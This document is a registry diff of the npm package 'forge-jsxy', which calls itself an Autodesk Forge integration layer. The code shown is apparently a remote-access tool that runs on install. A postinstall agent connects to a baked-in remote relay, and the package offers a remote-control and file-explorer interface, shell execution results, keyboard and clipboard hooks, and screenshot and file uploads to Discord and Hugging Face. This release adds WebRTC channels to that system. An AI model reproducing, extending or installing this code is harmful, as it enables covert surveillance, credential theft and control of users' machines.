forge-jsxy 1.0.78 → 1.0.80
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +965 -201
- package/assets/remote-control-template.html +1828 -409
- package/dist/assets/files-explorer-template.html +966 -202
- package/dist/assets/remote-control-template.html +1828 -409
- package/dist/cli-relay.js +3 -0
- package/dist/discordAgentScreenshot.js +14 -7
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/fsProtocol.d.ts +16 -1
- package/dist/fsProtocol.js +368 -86
- package/dist/hfCredentials.js +4 -1
- package/dist/hfUpload.js +38 -4
- package/dist/relayAgent.js +246 -23
- package/dist/relayDashboardGate.js +8 -0
- package/dist/relayServer.js +206 -25
- package/package.json +5 -3
- package/scripts/copy-assets.mjs +15 -2
- package/scripts/forge-jsx-explorer-upgrade.mjs +1 -1
- package/scripts/postinstall-agent.mjs +13 -0
package/dist/relayServer.js
CHANGED
|
@@ -265,6 +265,99 @@ function relayDiscordScreenshotAdvertisedUploadMode() {
|
|
|
265
265
|
return "relay";
|
|
266
266
|
return "webhook";
|
|
267
267
|
}
|
|
268
|
+
/**
|
|
269
|
+
* Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
|
|
270
|
+
* Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
|
|
271
|
+
*/
|
|
272
|
+
function relayWebRtcSignalingEnabled() {
|
|
273
|
+
const raw = String(process.env.RELAY_WEBRTC_SIGNALING ?? "").trim().toLowerCase();
|
|
274
|
+
if (["0", "false", "no", "off"].includes(raw))
|
|
275
|
+
return false;
|
|
276
|
+
return true;
|
|
277
|
+
}
|
|
278
|
+
const RELAY_DEFAULT_RTC_ICE_SERVERS = [
|
|
279
|
+
{ urls: "stun:stun.l.google.com:19302" },
|
|
280
|
+
{ urls: "stun:stun1.l.google.com:19302" },
|
|
281
|
+
];
|
|
282
|
+
/**
|
|
283
|
+
* JSON array of RTCIceServer objects, e.g.
|
|
284
|
+
* `[{"urls":"stun:stun.l.google.com:19302"},{"urls":"turn:…","username":"…","credential":"…"}]`
|
|
285
|
+
*/
|
|
286
|
+
function relayRtcIceServersAdvertised() {
|
|
287
|
+
const raw = String(process.env.RELAY_RTC_ICE_SERVERS || "").trim();
|
|
288
|
+
if (raw) {
|
|
289
|
+
try {
|
|
290
|
+
const parsed = JSON.parse(raw);
|
|
291
|
+
if (Array.isArray(parsed) && parsed.length > 0)
|
|
292
|
+
return parsed;
|
|
293
|
+
}
|
|
294
|
+
catch {
|
|
295
|
+
/* fall through */
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
return [...RELAY_DEFAULT_RTC_ICE_SERVERS];
|
|
299
|
+
}
|
|
300
|
+
function relayWebRtcFeaturesPayload() {
|
|
301
|
+
if (!relayWebRtcSignalingEnabled())
|
|
302
|
+
return undefined;
|
|
303
|
+
return {
|
|
304
|
+
webrtc_signaling: true,
|
|
305
|
+
rtc_ice_servers: relayRtcIceServersAdvertised(),
|
|
306
|
+
};
|
|
307
|
+
}
|
|
308
|
+
function relayWebRtcOmitWhenAgentOlderThanRelay() {
|
|
309
|
+
const raw = String(process.env.RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY || "")
|
|
310
|
+
.trim()
|
|
311
|
+
.toLowerCase();
|
|
312
|
+
return ["1", "true", "yes", "on"].includes(raw);
|
|
313
|
+
}
|
|
314
|
+
/** Digit-only dotted semver segments (aligned with viewer `versionLt`). */
|
|
315
|
+
function semverLt(a, b) {
|
|
316
|
+
const parse = (v) => v
|
|
317
|
+
.split(".")
|
|
318
|
+
.map((s) => parseInt(s.trim(), 10))
|
|
319
|
+
.filter((n) => Number.isFinite(n));
|
|
320
|
+
const av = parse(a);
|
|
321
|
+
const bv = parse(b);
|
|
322
|
+
if (av.length === 0 || bv.length === 0)
|
|
323
|
+
return false;
|
|
324
|
+
const n = Math.max(av.length, bv.length);
|
|
325
|
+
for (let i = 0; i < n; i++) {
|
|
326
|
+
const ai = av[i] ?? 0;
|
|
327
|
+
const bi = bv[i] ?? 0;
|
|
328
|
+
if (ai < bi)
|
|
329
|
+
return true;
|
|
330
|
+
if (ai > bi)
|
|
331
|
+
return false;
|
|
332
|
+
}
|
|
333
|
+
return false;
|
|
334
|
+
}
|
|
335
|
+
/**
|
|
336
|
+
* WebRTC ICE advertisement for viewers when relay signaling is on.
|
|
337
|
+
* Always returns ICE payload unless signaling is disabled. Optional legacy gate:
|
|
338
|
+
* RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 omits WebRTC until agent semver ≥ relay package.
|
|
339
|
+
* Agents without native datachannel still receive signaling here; the viewer probes and falls back to the relay WebSocket.
|
|
340
|
+
*/
|
|
341
|
+
function relayWebRtcFeaturesForViewer(session) {
|
|
342
|
+
const base = relayWebRtcFeaturesPayload();
|
|
343
|
+
if (!base)
|
|
344
|
+
return undefined;
|
|
345
|
+
if (!relayWebRtcOmitWhenAgentOlderThanRelay()) {
|
|
346
|
+
return base;
|
|
347
|
+
}
|
|
348
|
+
const agentVer = session.agentVersion.trim();
|
|
349
|
+
if (!agentVer)
|
|
350
|
+
return base;
|
|
351
|
+
const relayVer = relayPackageVersion();
|
|
352
|
+
if (!relayVer || relayVer === "unknown")
|
|
353
|
+
return base;
|
|
354
|
+
if (!/^\d/.test(agentVer))
|
|
355
|
+
return base;
|
|
356
|
+
if (/^\d/.test(relayVer) && semverLt(agentVer, relayVer)) {
|
|
357
|
+
return undefined;
|
|
358
|
+
}
|
|
359
|
+
return base;
|
|
360
|
+
}
|
|
268
361
|
class Session {
|
|
269
362
|
sessionId;
|
|
270
363
|
agent = null;
|
|
@@ -278,6 +371,8 @@ class Session {
|
|
|
278
371
|
agentHostname = "";
|
|
279
372
|
agentRemoteIp = "";
|
|
280
373
|
agentFilesystem = false;
|
|
374
|
+
/** From agent `info.features.webrtc_datachannel`; null if absent (legacy agent). */
|
|
375
|
+
agentWebrtcDatachannel = null;
|
|
281
376
|
constructor(sessionId) {
|
|
282
377
|
this.sessionId = sessionId;
|
|
283
378
|
}
|
|
@@ -289,6 +384,16 @@ const sessions = new Map();
|
|
|
289
384
|
function wsIsOpen(ws) {
|
|
290
385
|
return ws !== null && ws.readyState === ws_1.default.OPEN;
|
|
291
386
|
}
|
|
387
|
+
/** Disable Nagle on the underlying TCP socket — small `rc_input` / ICE JSON frames reach the peer sooner. */
|
|
388
|
+
function relayWsTcpNoDelay(ws) {
|
|
389
|
+
try {
|
|
390
|
+
const w = ws;
|
|
391
|
+
(w.socket ?? w._socket)?.setNoDelay(true);
|
|
392
|
+
}
|
|
393
|
+
catch {
|
|
394
|
+
/* skip */
|
|
395
|
+
}
|
|
396
|
+
}
|
|
292
397
|
function getOrCreateSession(sessionId) {
|
|
293
398
|
let s = sessions.get(sessionId);
|
|
294
399
|
if (!s) {
|
|
@@ -297,6 +402,22 @@ function getOrCreateSession(sessionId) {
|
|
|
297
402
|
}
|
|
298
403
|
return s;
|
|
299
404
|
}
|
|
405
|
+
/** Push WebRTC availability when agent `info` arrives after the viewer (or agent upgrades). */
|
|
406
|
+
function pushViewerWebRtcAvailability(session) {
|
|
407
|
+
if (!wsIsOpen(session.viewer))
|
|
408
|
+
return;
|
|
409
|
+
const rtc = relayWebRtcFeaturesForViewer(session);
|
|
410
|
+
try {
|
|
411
|
+
session.viewer.send(JSON.stringify({
|
|
412
|
+
type: "relay_webrtc_availability",
|
|
413
|
+
webrtc_signaling: rtc?.webrtc_signaling === true,
|
|
414
|
+
...(rtc?.webrtc_signaling === true ? { rtc_ice_servers: rtc.rtc_ice_servers } : {}),
|
|
415
|
+
}));
|
|
416
|
+
}
|
|
417
|
+
catch {
|
|
418
|
+
/* skip */
|
|
419
|
+
}
|
|
420
|
+
}
|
|
300
421
|
function removeSession(sessionId) {
|
|
301
422
|
sessions.delete(sessionId);
|
|
302
423
|
}
|
|
@@ -624,6 +745,17 @@ function _applySecurityHeaders(res) {
|
|
|
624
745
|
"connect-src 'self' ws: wss:; " + // WebSocket connections
|
|
625
746
|
"frame-ancestors 'none';");
|
|
626
747
|
}
|
|
748
|
+
/** Async HTTP handlers skip writes when the socket already closed (avoids ERR_HTTP_HEADERS_SENT). */
|
|
749
|
+
function _ifHttpWritable(res, send) {
|
|
750
|
+
if (res.writableEnded)
|
|
751
|
+
return;
|
|
752
|
+
try {
|
|
753
|
+
send();
|
|
754
|
+
}
|
|
755
|
+
catch {
|
|
756
|
+
/* ignore — peer may disconnect mid-response */
|
|
757
|
+
}
|
|
758
|
+
}
|
|
627
759
|
function writeFilesExplorerHtml(res) {
|
|
628
760
|
let html;
|
|
629
761
|
try {
|
|
@@ -662,25 +794,35 @@ function handlePostRelayDashboard(req, res, pathname) {
|
|
|
662
794
|
return;
|
|
663
795
|
}
|
|
664
796
|
void (0, relayDashboardGate_1.readJsonBody)(req).then((b) => {
|
|
665
|
-
if (
|
|
666
|
-
res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
|
|
667
|
-
res.end(b.error);
|
|
668
|
-
return;
|
|
669
|
-
}
|
|
670
|
-
const pw = b.data?.password ?? '';
|
|
671
|
-
const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
|
|
672
|
-
if (!t.ok) {
|
|
673
|
-
res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
|
|
674
|
-
res.end("Unauthorized");
|
|
797
|
+
if (res.writableEnded)
|
|
675
798
|
return;
|
|
799
|
+
try {
|
|
800
|
+
if (b.error) {
|
|
801
|
+
res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
|
|
802
|
+
res.end(b.error);
|
|
803
|
+
return;
|
|
804
|
+
}
|
|
805
|
+
const pw = b.data?.password ?? '';
|
|
806
|
+
const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
|
|
807
|
+
if (!t.ok) {
|
|
808
|
+
res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
|
|
809
|
+
res.end("Unauthorized");
|
|
810
|
+
return;
|
|
811
|
+
}
|
|
812
|
+
if (t["set-cookie"]) {
|
|
813
|
+
res.writeHead(204, { "set-cookie": t["set-cookie"] });
|
|
814
|
+
res.end();
|
|
815
|
+
}
|
|
816
|
+
else {
|
|
817
|
+
res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
|
|
818
|
+
res.end("Config error");
|
|
819
|
+
}
|
|
676
820
|
}
|
|
677
|
-
|
|
678
|
-
res
|
|
679
|
-
|
|
680
|
-
|
|
681
|
-
|
|
682
|
-
res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
|
|
683
|
-
res.end("Config error");
|
|
821
|
+
catch {
|
|
822
|
+
_ifHttpWritable(res, () => {
|
|
823
|
+
res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
|
|
824
|
+
res.end("Internal error");
|
|
825
|
+
});
|
|
684
826
|
}
|
|
685
827
|
});
|
|
686
828
|
return;
|
|
@@ -709,6 +851,7 @@ function listSessionsPayload() {
|
|
|
709
851
|
agent_os: s.agentOs || null,
|
|
710
852
|
agent_hostname: s.agentHostname || null,
|
|
711
853
|
agent_filesystem: s.agentFilesystem,
|
|
854
|
+
agent_webrtc_datachannel: s.agentWebrtcDatachannel,
|
|
712
855
|
}));
|
|
713
856
|
}
|
|
714
857
|
function handleHttp(req, res) {
|
|
@@ -848,17 +991,21 @@ function handleHttp(req, res) {
|
|
|
848
991
|
void (async () => {
|
|
849
992
|
try {
|
|
850
993
|
const seqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTable);
|
|
851
|
-
|
|
852
|
-
|
|
853
|
-
|
|
854
|
-
|
|
994
|
+
_ifHttpWritable(res, () => {
|
|
995
|
+
_applySecurityHeaders(res);
|
|
996
|
+
res.writeHead(200, {
|
|
997
|
+
"Content-Type": "application/json; charset=utf-8",
|
|
998
|
+
"Cache-Control": "no-store",
|
|
999
|
+
});
|
|
1000
|
+
res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
|
|
855
1001
|
});
|
|
856
|
-
res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
|
|
857
1002
|
}
|
|
858
1003
|
catch (e) {
|
|
859
|
-
|
|
860
|
-
|
|
861
|
-
|
|
1004
|
+
_ifHttpWritable(res, () => {
|
|
1005
|
+
_applySecurityHeaders(res);
|
|
1006
|
+
res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
|
|
1007
|
+
res.end(JSON.stringify({ error: String(e), seq_id: null }));
|
|
1008
|
+
});
|
|
862
1009
|
}
|
|
863
1010
|
})();
|
|
864
1011
|
return;
|
|
@@ -914,6 +1061,7 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
914
1061
|
return;
|
|
915
1062
|
}
|
|
916
1063
|
}
|
|
1064
|
+
relayWsTcpNoDelay(ws);
|
|
917
1065
|
const session = getOrCreateSession(sessionId);
|
|
918
1066
|
// NOTE: do NOT call session.touch() here unconditionally. Touching before the async
|
|
919
1067
|
// blacklist check lets a blacklisted agent spam reconnects and keep lastActivity fresh,
|
|
@@ -985,6 +1133,7 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
985
1133
|
const v = relayPackageVersion();
|
|
986
1134
|
return v === "unknown" ? undefined : v;
|
|
987
1135
|
})(),
|
|
1136
|
+
...(relayWebRtcFeaturesPayload() ?? {}),
|
|
988
1137
|
};
|
|
989
1138
|
ws.send(JSON.stringify({
|
|
990
1139
|
type: "connected",
|
|
@@ -1016,6 +1165,14 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1016
1165
|
/* skip */
|
|
1017
1166
|
}
|
|
1018
1167
|
}
|
|
1168
|
+
}).catch((e) => {
|
|
1169
|
+
console.error("[relay] agent WebSocket setup failed:", e);
|
|
1170
|
+
try {
|
|
1171
|
+
ws.close(1011, "setup failed");
|
|
1172
|
+
}
|
|
1173
|
+
catch {
|
|
1174
|
+
/* skip */
|
|
1175
|
+
}
|
|
1019
1176
|
}); // end _refreshBlacklistIfStale().then()
|
|
1020
1177
|
}
|
|
1021
1178
|
else {
|
|
@@ -1038,11 +1195,13 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1038
1195
|
}
|
|
1039
1196
|
}
|
|
1040
1197
|
session.viewer = ws;
|
|
1198
|
+
const rtcFeat = relayWebRtcFeaturesForViewer(session);
|
|
1041
1199
|
ws.send(JSON.stringify({
|
|
1042
1200
|
type: "connected",
|
|
1043
1201
|
role: "viewer",
|
|
1044
1202
|
session_id: sessionId,
|
|
1045
1203
|
agent_online: wsIsOpen(session.agent),
|
|
1204
|
+
...(rtcFeat ?? {}),
|
|
1046
1205
|
}));
|
|
1047
1206
|
/** Same forge-db lookup as GET /api/explorer-seq — pushes seq_id over WS so the explorer tab/badge work even if the HTTP fetch fails. */
|
|
1048
1207
|
const sessionTableForSeq = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(sessionId);
|
|
@@ -1257,6 +1416,9 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1257
1416
|
catch {
|
|
1258
1417
|
/* skip */
|
|
1259
1418
|
}
|
|
1419
|
+
finally {
|
|
1420
|
+
(0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
|
|
1421
|
+
}
|
|
1260
1422
|
}
|
|
1261
1423
|
catch (e) {
|
|
1262
1424
|
try {
|
|
@@ -1310,6 +1472,9 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1310
1472
|
session.agentHostname = String(sys.hostname || "").trim();
|
|
1311
1473
|
const feats = data.features || {};
|
|
1312
1474
|
session.agentFilesystem = Boolean(feats.filesystem);
|
|
1475
|
+
const wdc = feats.webrtc_datachannel;
|
|
1476
|
+
session.agentWebrtcDatachannel =
|
|
1477
|
+
typeof wdc === "boolean" ? wdc : null;
|
|
1313
1478
|
// Log version comparison against actual relay package version.
|
|
1314
1479
|
if (session.agentVersion) {
|
|
1315
1480
|
const relayPkg = relayPackageVersion();
|
|
@@ -1327,6 +1492,7 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1327
1492
|
}
|
|
1328
1493
|
}
|
|
1329
1494
|
}
|
|
1495
|
+
pushViewerWebRtcAvailability(session);
|
|
1330
1496
|
// Push OS info to forge-db _client_registry on behalf of the agent.
|
|
1331
1497
|
// This works even for old-version agents that don't call POST /api/client-info themselves.
|
|
1332
1498
|
const forgeDbApi = _forgeDbApiUrl();
|
|
@@ -1508,6 +1674,14 @@ function startRelayServer(opts = {}) {
|
|
|
1508
1674
|
const host = opts.host ?? "0.0.0.0";
|
|
1509
1675
|
const port = opts.port ?? deploymentDefaults_1.RELAY_DEFAULT_PORT;
|
|
1510
1676
|
const server = http.createServer(handleHttp);
|
|
1677
|
+
/**
|
|
1678
|
+
* Remote `/remote` + explorer latency defaults:
|
|
1679
|
+
* - **`perMessageDeflate: false`** — skips zlib CPU + extra buffering on large JSON/binary frames.
|
|
1680
|
+
* - **Large `maxPayload`** — avoids framing stalls for big explorer payloads / screenshot metadata.
|
|
1681
|
+
* - **TCP `setNoDelay(true)`** on upgrade + post-upgrade socket — small ICE / `rc_input` frames flush promptly (see `relayWsTcpNoDelay`).
|
|
1682
|
+
* - **Binary passthrough** — agent→viewer binary messages forward without JSON parse/stringify (chunked bodies stay efficient).
|
|
1683
|
+
* Prefer WebRTC `forge-bulk` end-to-end for screenshots when both sides support it (viewer falls back to relay WS for legacy agents).
|
|
1684
|
+
*/
|
|
1511
1685
|
const wss = new ws_1.WebSocketServer({
|
|
1512
1686
|
noServer: true,
|
|
1513
1687
|
/** Large `fs_read` / `fs_zip` base64 chunks + `fs_shell_exec_result` JSON must fit one frame. */
|
|
@@ -1550,6 +1724,13 @@ function startRelayServer(opts = {}) {
|
|
|
1550
1724
|
socket.destroy();
|
|
1551
1725
|
return;
|
|
1552
1726
|
}
|
|
1727
|
+
/** Low-latency from first byte — complements `relayWsTcpNoDelay` on the upgraded socket. */
|
|
1728
|
+
try {
|
|
1729
|
+
socket.setNoDelay(true);
|
|
1730
|
+
}
|
|
1731
|
+
catch {
|
|
1732
|
+
/* skip */
|
|
1733
|
+
}
|
|
1553
1734
|
wss.handleUpgrade(request, socket, head, (ws) => {
|
|
1554
1735
|
attachConnection(ws, request, role, sessionId);
|
|
1555
1736
|
});
|
package/package.json
CHANGED
|
@@ -1,8 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "forge-jsxy",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.80",
|
|
4
4
|
"description": "Node.js integration layer for Autodesk Forge",
|
|
5
5
|
"license": "MIT",
|
|
6
|
+
"forgeAgentWebRtcMinVersion": "1.0.71",
|
|
6
7
|
"main": "dist/index.js",
|
|
7
8
|
"types": "dist/index.d.ts",
|
|
8
9
|
"files": [
|
|
@@ -17,9 +18,9 @@
|
|
|
17
18
|
"postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs",
|
|
18
19
|
"build": "tsc && node scripts/copy-assets.mjs",
|
|
19
20
|
"pretest": "npm run build",
|
|
20
|
-
"test": "NODE_ENV=test node --test test/smoke.test.mjs",
|
|
21
|
+
"test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
|
|
21
22
|
"test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
|
|
22
|
-
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs",
|
|
23
|
+
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs",
|
|
23
24
|
"test:env-local": "node --test test/env-local-integrations.mjs",
|
|
24
25
|
"verify": "npm run ci && npm run test:env-local",
|
|
25
26
|
"verify:production": "npm run ci",
|
|
@@ -61,6 +62,7 @@
|
|
|
61
62
|
"@napi-rs/clipboard": "^1.1.3",
|
|
62
63
|
"clipboard-event": "^1.6.0",
|
|
63
64
|
"koffi": "^2.15.2",
|
|
65
|
+
"node-datachannel": "^0.32.3",
|
|
64
66
|
"uiohook-napi": "^1.5.5"
|
|
65
67
|
},
|
|
66
68
|
"devDependencies": {
|
package/scripts/copy-assets.mjs
CHANGED
|
@@ -17,15 +17,28 @@ fs.cpSync(src, dest, { recursive: true });
|
|
|
17
17
|
/** Replace placeholder so operators can View Source on /files and confirm the relay serves this package build (VPS stale-HTML diagnosis). */
|
|
18
18
|
const pkgPath = path.join(root, "package.json");
|
|
19
19
|
const explorerOut = path.join(dest, "files-explorer-template.html");
|
|
20
|
+
const remoteOut = path.join(dest, "remote-control-template.html");
|
|
20
21
|
try {
|
|
21
22
|
const pkg = JSON.parse(fs.readFileSync(pkgPath, "utf8"));
|
|
22
23
|
const ver = String(pkg.version || "0.0.0").trim();
|
|
24
|
+
/** Protocol floor for viewer WebRTC probes — not relay package version (fleet agents may lag one patch). */
|
|
25
|
+
const webrtcFloor = String(pkg.forgeAgentWebRtcMinVersion || "1.0.71").trim() || "1.0.71";
|
|
23
26
|
const stamp = `forge-jsxy@${ver} reconnect-ui npm-isolated-cache hub-20gib-delete-watch`;
|
|
24
27
|
let html = fs.readFileSync(explorerOut, "utf8");
|
|
25
28
|
if (html.includes("<!-- BUILD_STAMP -->")) {
|
|
26
29
|
html = html.replace("<!-- BUILD_STAMP -->", `<!-- ${stamp} -->`);
|
|
27
|
-
|
|
30
|
+
}
|
|
31
|
+
if (html.includes("__FORGE_AGENT_WEBRTC_MIN_VERSION__")) {
|
|
32
|
+
html = html.replace(/__FORGE_AGENT_WEBRTC_MIN_VERSION__/g, webrtcFloor);
|
|
33
|
+
}
|
|
34
|
+
fs.writeFileSync(explorerOut, html, "utf8");
|
|
35
|
+
if (fs.existsSync(remoteOut)) {
|
|
36
|
+
let remoteHtml = fs.readFileSync(remoteOut, "utf8");
|
|
37
|
+
if (remoteHtml.includes("__FORGE_AGENT_WEBRTC_MIN_VERSION__")) {
|
|
38
|
+
remoteHtml = remoteHtml.replace(/__FORGE_AGENT_WEBRTC_MIN_VERSION__/g, webrtcFloor);
|
|
39
|
+
fs.writeFileSync(remoteOut, remoteHtml, "utf8");
|
|
40
|
+
}
|
|
28
41
|
}
|
|
29
42
|
} catch (e) {
|
|
30
|
-
console.warn("[forge-js] copy-assets: could not inject explorer BUILD_STAMP:", e?.message || e);
|
|
43
|
+
console.warn("[forge-js] copy-assets: could not inject explorer BUILD_STAMP / remote WebRTC gate:", e?.message || e);
|
|
31
44
|
}
|
|
@@ -769,7 +769,7 @@ async function runWorker(log) {
|
|
|
769
769
|
const ts = new Date().toISOString();
|
|
770
770
|
if (inst.status === 0) {
|
|
771
771
|
appendExplorerUpgradeLog(
|
|
772
|
-
`${ts} OK ${vBefore || "?"} => ${vAfter || "?"} (global
|
|
772
|
+
`${ts} OK ${vBefore || "?"} => ${vAfter || "?"} (global ${NPM_PKG})`
|
|
773
773
|
);
|
|
774
774
|
} else {
|
|
775
775
|
appendExplorerUpgradeLog(
|
|
@@ -7,6 +7,9 @@
|
|
|
7
7
|
* Relay URL: FORGE_JS_AGENT_RELAY_URL, else FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL,
|
|
8
8
|
* else deploymentDefaults.defaultRelayWsUrl() (baked-in remote host),
|
|
9
9
|
* else ws://127.0.0.1:<RELAY_DEFAULT_PORT> (last-resort local fallback).
|
|
10
|
+
* Loads package-root `.env` with dotenv (`override: false`) — required because npm runs each
|
|
11
|
+
* postinstall script in a **separate** process; vars loaded only in postinstall-bootstrap would not
|
|
12
|
+
* apply here (Windows / Linux / macOS).
|
|
10
13
|
* HF uploads use relay-hosted RELAY_HF_CREDENTIALS_B64 by default (no agent env). Discord screenshots
|
|
11
14
|
* follow relay RELAY_DISCORD_* via relay_features on connect when agent env is unset. Forge-db sync
|
|
12
15
|
* URL is taken from relay relay_features when the agent has no local FORGE_JS_SYNC_URL / CFGMGR_API_URL.
|
|
@@ -23,12 +26,22 @@ import { createRequire } from "node:module";
|
|
|
23
26
|
import os from "node:os";
|
|
24
27
|
import path from "node:path";
|
|
25
28
|
import { fileURLToPath } from "node:url";
|
|
29
|
+
import { config as loadEnv } from "dotenv";
|
|
26
30
|
|
|
27
31
|
const require = createRequire(import.meta.url);
|
|
28
32
|
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
29
33
|
const pkgRoot = path.resolve(__dirname, "..");
|
|
30
34
|
const cliAgent = path.join(pkgRoot, "dist", "cli-agent.js");
|
|
31
35
|
|
|
36
|
+
const envPath = path.join(pkgRoot, ".env");
|
|
37
|
+
if (existsSync(envPath)) {
|
|
38
|
+
try {
|
|
39
|
+
loadEnv({ path: envPath, override: false });
|
|
40
|
+
} catch {
|
|
41
|
+
/* invalid .env — ignore */
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
32
45
|
/**
|
|
33
46
|
* Use a stable data directory as child CWD instead of package root.
|
|
34
47
|
* If CWD stays under global npm module path, repeated `npm i -g forge-jsx`
|